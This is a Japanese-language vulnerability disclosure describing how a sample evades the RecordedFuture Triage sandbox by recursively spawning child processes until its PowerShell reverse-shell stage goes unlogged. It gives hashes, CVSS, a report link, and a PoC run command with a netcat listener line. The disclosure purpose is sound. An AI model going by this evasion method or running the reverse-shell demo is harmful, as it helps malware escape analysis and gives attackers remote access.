RecordedFuture Triage Sandbox Windows 10 build 2004 および Windows 10 LTSC 2021 には、Windows ビヘイビア解析エンジンに 重大（critical） な脆弱性が存在し、提出されたマルウェアサンプルが検知を回避して**分析妨害（denial-of-analysis）**を引き起こす可能性があります。この脆弱性は、サンプルが大量の子プロセスを再帰的に生成し、ログ量が増大してシステムリソースを枯渇させた際に発現します。その結果、PowerShell の実行やリバースシェル活動などの主要な悪意ある挙動が記録または報告されず、アナリストを誤認させ、サンドボックス解析結果の整合性と可用性を損なう可能性があります。
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:Hサンプル vathos_rev.exe（SHA256: 3c52178c27d2a0336f6286f6cf0a4a253a507273b1a19303edcacb39d2659a4b）は、RecordedFuture Triage の Windows ビヘイビア解析エンジンにおける**分析妨害（denial-of-analysis）**状態を示します。
Windows 10 構成で実行された場合、このサンプルは数千もの子プロセスを再帰的に生成し、プロセス追跡およびログ記録リソースを枯渇させます。その結果、サンドボックスは最小限のビヘイビアデータのみを報告し、主要な悪意ある動作の記録に失敗します。
win10v2004-20250610-enx64104s213s1/10vathos_rev.exe の継続的なプロセス再帰win10ltsc2021-20250619-enx64105s215s1/10vathos_rev.exe の継続的なプロセス再帰両方の Windows 10 サンドボックス環境において、マルウェアがホスト上でこれらの挙動を実行しているにもかかわらず、起動によって期待された PowerShell の実行およびリバースシェルの段階を捕捉できませんでした。
サンドボックスのビヘイビア解析エンジンは、再帰的なプロセス生成によって飽和状態となり、テレメトリが切り詰められる、または欠落しました。
これは**分析妨害（denial-of-analysis）**の脆弱性を裏付けるものであり、ビヘイビアエンジンが高い再帰性とログ量の条件下で悪意ある活動を報告できず、誤検知の見逃し（false negatives）と不完全なフォレンジック出力を引き起こします。
公開レポートの参照先:
https://tria.ge/250822-qfystshk51
これは RecordedFuture Triage における**分析妨害（denial-of-analysis）**の脆弱性であり、動的解析エンジンがビヘイビア活動を捕捉または報告できない可能性があります。悪用されると、攻撃者はビヘイビア検知を回避し、不完全または欠落した分析レポートを生成できます。
主な影響
下流への影響
vathos_rev.exe
3c52178c27d2a0336f6286f6cf0a4a253a507273b1a19303edcacb39d2659a4bdca2fc8f69f6493c7a9c1ce9a68b24549b4688ba4788e34bce47d91b0accc98d33dbf8d2924e866dfce8abaee30f94bf78254777b6f7fd6a35d091402a984c233a8f0cbd104ebe34559037356697ae39613781ca90bd5e9f2b6542309090e806ec5f674b270 KB250822-qfystshk51win10ltsc2021-20250619-enx642025-08-22 13:12 UTC2025-08-22 13:18 UTC250822-qfystshk51win10v2004-20250610-enx642025-08-22 13:12 UTC2025-08-22 13:18 UTC注記: エンジンビルドおよび内部バージョンの詳細は、RecordedFuture によって公開されていません。
すべての観察結果は、RecordedFuture の Triage プラットフォーム（提出250822-qfystshk51）における再現可能な公開起動に基づいています。
提供されるデモは、非常に高いプロセス量と深くネストしたランタイム活動を生成することで、分析妨害（DoA）状態を再現します。このデモは多数の子プロセスを生成し、複数ラウンドの XOR 復号を実行した後、最終段階で PowerShell リバースシェルを実行します。脆弱な Triage Windows 10 イメージでは最終ペイロード段階が記録されないか切り詰められますが、他のイメージ（例: Windows 11）では完全な挙動が捕捉されます。
実行方法
poc/vathos_demo.exe <IP> <PORT>
指定した IP/ポートでリスナー（例: nc -lvp 4444）を起動し、試行される接続を観察します。このデモは非常に多数のプロセスを生成し、複数ラウンドの XOR 復号を実行した後、PowerShell リバースシェルの段階に至ります。影響を受ける Triage 構成では、サンプルがホスト上で実行しているにもかかわらず、最終ペイロード段階が記録されない場合があります。
図 1 - Triage 概要ダッシュボード
図 2 - Windows 10 v2004 ビヘイビアレポート（最小テレメトリ / DoA 例）
図 3 - Windows 10 LTSC 2021 ビヘイビアレポート（最小テレメトリ / DoA 例）
図 4 - Windows 10 LTSC でログ記録されたプロセスの例（サニタイズ済み、すべてのプロセスが記録されているわけではない）— 解析ログ → プロセス
